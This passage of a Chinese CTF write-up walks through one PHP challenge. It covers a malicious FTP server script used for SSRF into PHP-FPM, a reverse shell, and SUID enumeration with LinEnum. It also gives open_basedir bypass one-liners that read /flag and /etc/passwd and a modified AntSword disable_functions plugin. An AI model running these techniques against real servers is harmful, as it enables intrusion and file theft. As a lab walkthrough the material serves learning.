#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

此时当 FTP 建立连接后,会通过被动模式将 Payload 重定向到目标主机本地 9001 端口的 PHP-FPM 上,

打一波payload,此时成功突破open_basedir,可以任意垮目录,但是任然没有读取的权限。

nc 没有受到反弹shell、ncat 就可以,可能是端口问题(之前用2333一直没弹,改成1234就可以了),小问题,不影响。

知识五(SUID 提权)

https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

在有写权限的/var/www/html目录下,写一个

1
2
chmod +x 1.sh
[email protected]:~/html$ 1.sh -s -r report -e /tmp/ -t
1
find / -perm -u=s -type f 2>/dev/null

到这里,环境又崩了,504。不得不关了,重开。又要重新来一波操作。

发现,php可执行文件就可以suid提权,直径写php代码读flag就可以,flag是root root ,才有权限读写,因此php是可以

1
chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');

利用流程:

FastCGI加载并调用ctfctf.so->bypass open_basedir->ftp-ssrf请求恶意ftp服务->本地php-fpm->rce

知识点六(蚁剑Disable_Functions插件修改打Fastcgi/PHP-FPM)

蚁剑插件中,默认没有9001端口的PHP-FPM地址,蚁剑的 Payload 中用到的 fsockopen(),而 fsockopen() 被 Disable_Functions 给禁了,因此我们需要修改插件,然后梭哈。

在 PHP 中除了 fsockopen() 这个函数外,还有一个 pfsockopen() 二者几乎没有什么区别,在 fsockopen() 被禁用后我们可以用 pfsockopen() 进行代替。我们可以对蚁剑的 Payload 进行修改,即将 Payload 所有的 fsockopen() 替换为 pfsockopen()。需要替换的文件有以下几个:

  • \antData\plugins\as_bypass_php_disable_functions-master\payload.js

  • \antData\plugins\as_bypass_php_disable_functions-master\core\php_fpm\index.js

新增一行9001端口的FPM地址,

重启蚁剑就可以了。

在之前的WebShell里写一个一句话,用蚁剑连上去。

我这里试了很多次都不行,山警的几个师傅可以,我裂开了哈哈哈哈。不过学到思路就行了。(:

一些总结

利用glob协议列目录

1
2
3
4
5
6
7
8
9
<?php
$a = "glob:///*";
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo "filename:".$file."\n";
}
closedir($b);
}
?>

利用chdir和mkdir组合列目录和读文件

1
mkdir('css');chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));echo file_get_contents('/etc/passwd');

溢出

  • 32位元
    • intval('1000000000000') => 2147483647
  • 64位元
    • intval('100000000000000000000') => 9223372036854775807

ftp 主动、被动传输模式

参考

https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

https://whoamianony.top/2021/05/03/CTF%E6%AF%94%E8%B5%9B%E8%AE%B0%E5%BD%95/[2021%20%E2%80%9C%E8%93%9D%E5%B8%BD%E6%9D%AF%E2%80%9D%E5%88%9D%E8%B5%9B]one_Pointer_php/

https://err0r.top/article/bluehat2021/

https://ha1c9on.top/2021/04/29/lmb_one_pointer_php/

https://stackoverflow.com/questions/18286066/next-element-is-already-occupied-error

https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/

https://github.com/ev0A/ArbitraryFileReadList/blob/master/php_file.txt

https://xz.aliyun.com/t/6131

https://www.anquanke.com/post/id/186186#h3-3

Author: m0nk3y
Link: https://hack-for.fun/c125.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.